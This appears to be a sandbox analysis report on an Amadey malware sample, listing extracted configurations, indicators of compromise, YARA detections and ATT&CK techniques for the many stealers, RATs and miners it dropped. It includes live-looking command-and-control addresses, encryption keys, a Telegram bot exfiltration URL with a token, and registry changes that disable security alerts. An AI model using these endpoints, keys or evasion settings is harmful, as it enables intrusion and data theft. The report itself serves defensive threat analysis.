amadey | e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1

max time kernel
803s
max time network
1201s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
16/11/2024, 19:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4363463463464363463463463.exe.zip
Size 4KB
Sample241116-xsbmdssbkd
SHA256 e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1
MD5 16d34133af438a73419a49de605576d9
SHA1 c3dbcd70359fdad8835091c714a7a275c59bd732
SHA512 59c0272d6faa2682b7a6ce1cd414d53cc39f06035f4f38a2e206965805034bf8012b02d59f428973965136d70c89f87ac3b17b5db9c1b1d49844be182b47a3d7
SSDEEP 96:xBf1inGx9SfZ+VCv3wlTDMQ1kyKXyyJNOBIKkNvL5qK+7zHf6MlYOQVPGmcEy:xBfwncSf8Cv3w9DZjKXjmBIKEvLs97D5
MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family

redline

Botnet

@OLEH_PSP

65.21.18.51:45580

Extracted

Family

quasar

Version

1.4.0.0

Botnet

Office

82.117.243.110:5173

Mutex

yfsS9ida0wX8mgpdJC

Attributes

encryption_key
KDNBgA8jiBeGX1rj1dDt
install_name
csrss.exe
log_directory
Logs
reconnect_delay
3000
startup_key
NET framework
subdirectory
SubDir

Extracted

Family

redline

Botnet

newbundle2

185.215.113.67:15206

Extracted

Family

xworm

HITROL-60505.portmap.host:60505
45.66.231.231:7000

Attributes

Install_directory
%AppData%
install_file
svchost.exe

Extracted

Family

quasar

Version

1.4.0

Botnet

Office04

192.168.31.99:4782
2001:4bc9:1f98:a4e::676:4782
255.255.255.0:4782
fe80::cabf:4cff:fe84:9572%17:4782

Mutex

1f65a787-81b8-4955-95e4-b7751e10cd50

Attributes

encryption_key
A0B82A50BBC49EC084E3E53A9E34DF58BD7050B9
install_name
Neverlose Loader.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Java Updater
subdirectory
SubDir

Extracted

Family

metasploit

Version

windows/reverse_tcp

89.197.154.116:7810

Extracted

Family

gurcu

https://api.telegram.org/bot7929370892:AAGwrX5TeyxQidZdAEm_Z6-CDvPUOQzVY1M/sendMessage?chat_id=-4538387273

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
Ammyy Admin
Remote admin tool with various capabilities.
rat ammyyadmin

AmmyyAdmin payload 1 IoCs

resource	yara_rule
behavioral4/files/0x001b00000002b1a9-19382.dat	family_ammyyadmin

Ammyyadmin family
ammyyadmin
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Detect Vidar Stealer 3 IoCs

stealer

resource	yara_rule
behavioral4/files/0x001900000002ad43-5822.dat	family_vidar_v7
behavioral4/files/0x001b00000002aece-11653.dat	family_vidar_v7
behavioral4/files/0x000700000002a48f-16414.dat	family_vidar_v7

Detect Xworm Payload 9 IoCs

resource	yara_rule
behavioral4/files/0x001900000002ac20-675.dat	family_xworm
behavioral4/memory/3080-684-0x0000000000CE0000-0x0000000000CFC000-memory.dmp	family_xworm
behavioral4/files/0x000200000002a81e-1627.dat	family_xworm
behavioral4/memory/6048-1632-0x00000000007C0000-0x00000000007D8000-memory.dmp	family_xworm
behavioral4/files/0x000400000002a79b-3185.dat	family_xworm
behavioral4/files/0x000400000002a7a1-3278.dat	family_xworm
behavioral4/files/0x001c00000002ade5-7488.dat	family_xworm
behavioral4/files/0x001500000002ae95-9045.dat	family_xworm
behavioral4/files/0x001c00000002af0c-16180.dat	family_xworm

Detects ZharkBot payload 4 IoCs

ZharkBot is a botnet written C++.

resource	yara_rule
behavioral4/files/0x000800000000f52b-2480.dat	zharkcore
behavioral4/files/0x001a00000002ad77-6438.dat	zharkcore
behavioral4/files/0x000400000002a4b9-8057.dat	zharkcore
behavioral4/files/0x001a00000002b09e-16504.dat	zharkcore

FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
trojan flawedammyy
Flawedammyy family
flawedammyy
Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 2 IoCs

resource	yara_rule
behavioral4/files/0x001900000002afb6-14806.dat	family_meduza
behavioral4/files/0x001d00000002af0b-14882.dat	family_meduza

Meduza family
meduza
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Modifies security service 2 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysmablsvr.exe

Phorphiex family
phorphiex

Phorphiex payload 6 IoCs

resource	yara_rule
behavioral4/files/0x001a00000002aab1-624.dat	family_phorphiex
behavioral4/files/0x000300000002a700-719.dat	family_phorphiex
behavioral4/files/0x000200000002a818-1611.dat	family_phorphiex
behavioral4/files/0x000400000002a7e0-3614.dat	family_phorphiex
behavioral4/files/0x001900000002ac6c-3707.dat	family_phorphiex
behavioral4/files/0x001b00000002ac96-3997.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Process spawned unexpected child process 37 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7460	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7468	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6952	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7380	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8020	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7900	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7152	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4592	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6328	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6404	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8028	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7560	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5820	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7376	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7540	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5412	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6184	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1612	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5992	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1748	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6256	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7248	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6160	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4188	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4904	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5060	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7320	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7892	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4856	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6552	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7732	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5348	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3088	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8048	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8016	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6440	4948	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9212	4948	cmd.exe	88

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 6 IoCs

resource	yara_rule
behavioral4/files/0x001a00000002abdd-592.dat	family_quasar
behavioral4/memory/496-599-0x0000000000580000-0x00000000005CE000-memory.dmp	family_quasar
behavioral4/files/0x000200000002a71a-754.dat	family_quasar
behavioral4/memory/5664-761-0x00000000003D0000-0x0000000000454000-memory.dmp	family_quasar
behavioral4/files/0x001900000002ad35-5189.dat	family_quasar
behavioral4/files/0x001900000002ae79-8379.dat	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 7 IoCs

resource	yara_rule
behavioral4/files/0x001900000002ac0d-533.dat	family_redline
behavioral4/memory/5016-540-0x0000000000450000-0x00000000004A2000-memory.dmp	family_redline
behavioral4/files/0x001900000002ac1f-639.dat	family_redline
behavioral4/memory/4628-646-0x00000000003B0000-0x0000000000402000-memory.dmp	family_redline
behavioral4/files/0x001b00000002ac8e-4058.dat	family_redline
behavioral4/files/0x001a00000002adf5-7104.dat	family_redline
behavioral4/files/0x001c00000002b173-21000.dat	family_redline

Redline family
redline

Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs

description	pid	Process	procid_target
PID 6056 created 3260	6056	nxmr.exe	53
PID 6056 created 3260	6056	nxmr.exe	53
PID 6076 created 3260	6076	winupsecvmgr.exe	53
PID 6076 created 3260	6076	winupsecvmgr.exe	53
PID 6076 created 3260	6076	winupsecvmgr.exe	53
PID 3044 created 3260	3044	Optimum.pif	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53
PID 1440 created 3260	1440	T3.exe	53

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Windows security bypass 2 TTPs 18 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe

XMRig Miner payload 3 IoCs

miner

resource	yara_rule
behavioral4/files/0x000200000002a81f-1797.dat	family_xmrig
behavioral4/files/0x000200000002a81f-1797.dat	xmrig
behavioral4/files/0x001900000002b195-20876.dat	xmrig

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
ZharkBot
ZharkBot is a botnet written C++.
botnet zharkbot
Zharkbot family
zharkbot
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Async RAT payload 8 IoCs

rat

resource	yara_rule
behavioral4/files/0x000a00000000f45b-3359.dat	family_asyncrat
behavioral4/files/0x001a00000002ac57-3620.dat	family_asyncrat
behavioral4/files/0x001a00000002ac88-3811.dat	family_asyncrat
behavioral4/files/0x000c00000002a3c7-8557.dat	family_asyncrat
behavioral4/files/0x001900000002aea2-9089.dat	family_asyncrat
behavioral4/files/0x002200000002aaaa-14204.dat	family_asyncrat
behavioral4/files/0x001700000002b156-16337.dat	family_asyncrat
behavioral4/files/0x001800000002b15f-16889.dat	family_asyncrat

DCRat payload 2 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral4/files/0x000300000002a7c9-3382.dat	dcrat
behavioral4/files/0x000400000002a7f3-3463.dat	dcrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	hhnjqu9y.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Client_protected.exe

mimikatz is an open source tool to dump credentials on Windows 1 IoCs

resource	yara_rule
behavioral4/files/0x001a00000002acb7-10207.dat	mimikatz

Blocklisted process makes network request 3 IoCs

flow	pid	Process
489	4840	sysklnorbcv.exe
490	4840	sysklnorbcv.exe
529	4840	sysklnorbcv.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6288	powershell.exe
7396	powershell.exe
3184	powershell.exe
9596	powershell.exe
12248	powershell.EXE
3008	powershell.exe
5960	powershell.exe
1296	powershell.exe
2344	powershell.exe
6716	powershell.exe
6836	powershell.exe
4544	powershell.exe
12076	Process not Found
11392	Process not Found
5960	powershell.exe
2452	powershell.exe
5872	powershell.exe
6964	powershell.exe
4980	powershell.exe
1516	Process not Found
6096	powershell.exe
6728	powershell.exe
2044	Process not Found
3644	powershell.exe
5528	powershell.exe
6248	powershell.exe
6232	powershell.exe
2632	powershell.exe
6952	powershell.exe
12972	Process not Found
13048	Process not Found
5844	powershell.exe
8000	powershell.exe
13240	powershell.exe
6136	powershell.exe

Contacts a large (733) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
10184	net.exe

Modifies Windows Firewall 2 TTPs 5 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
7448	netsh.exe
9920	netsh.exe
3584	netsh.exe
3968	netsh.exe
2280	netsh.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
9860	msedge.exe
10112	chrome.exe
11528	chrome.exe
11768	msedge.exe
5560	msedge.exe
10848	chrome.exe
13288	chrome.exe
8100	msedge.exe
7592	msedge.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x001900000002afb1-14708.dat	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	hhnjqu9y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Client_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Client_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	hhnjqu9y.exe

Drops startup file 12 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	freedom.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winsct.lnk	xt.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	freedom.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b9584a316aeb9ca9b31edd4db18381f5.exe	NJRat.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b9584a316aeb9ca9b31edd4db18381f5.exe	NJRat.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\retero.exe	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\retero.exe	DllHost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winsct.lnk	xt.exe

Executes dropped EXE 64 IoCs

pid	Process
4936	4363463463464363463463463.exe
1208	crypteda.exe
2660	OHDhueyr0e.exe
5016	Dn8g5KQZ4r.exe
3312	4363463463464363463463463.exe
496	jerniuiopu.exe
2748	test.exe
3244	4363463463464363463463463.exe
3540	t2.exe
4840	sysklnorbcv.exe
3920	4363463463464363463463463.exe
4628	xxl.exe
3080	svchost.exe
4812	4363463463464363463463463.exe
5196	pi.exe
5452	Launcher.exe
5664	Neverlose%20Loader.exe
5736	sysppvrdnvs.exe
6056	nxmr.exe
6076	winupsecvmgr.exe
1340	svchost.exe
5068	bildnewl.exe
5388	t1.exe
3228	loader_5879465914.exe
5264	xyaw4fkp.exe
5320	twztl.exe
5784	html.exe
1884	Indentif.exe
4668	tdrpload.exe
5548	c2.exe
2216	pei.exe
5144	5.exe
5840	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5956	LummaC22222.exe
5028	newtpp.exe
6048	xt.exe
5296	1304425268.exe
4668	sysnldcvmr.exe
936	xxz.exe
5960	sysnldcvmr.exe
4568	NorthSperm.exe
3044	Optimum.pif
2216	svchost.exe
1292	KuwaitSetupHockey.exe
4672	KuwaitSetupHockey.tmp
2816	major.exe
1440	T3.exe
7588	Unit.exe
6420	WinRarInstall.exe
4572	winrar-info.exe
6268	winrar-x64-701ru.exe
6136	GLP_installer_900223086_market.exe
6328	si.exe
6840	freedom.exe
7444	hhnjqu9y.exe
7936	RegAsm.exe
7516	win.exe
7864	resex.exe
8188	XClient.exe
7016	Reproduction.pif
7136	loader.exe
2088	rhsgn_protected.exe
3044	client.exe

Loads dropped DLL 60 IoCs

pid	Process
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
6136	GLP_installer_900223086_market.exe
6376	whats-new.exe
6376	whats-new.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6612	icacls.exe
1692	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x000300000002a79e-3195.dat	themida
behavioral4/files/0x001800000002b19d-16991.dat	themida
behavioral4/files/0x001900000002b199-17059.dat	themida

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral4/files/0x001b00000002acc4-6980.dat	vmprotect

Windows security modification 2 TTPs 21 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\b9584a316aeb9ca9b31edd4db18381f5 = "\"C:\\Users\\Admin\\Desktop\\Files\\NJRat.exe\" .."	NJRat.exe
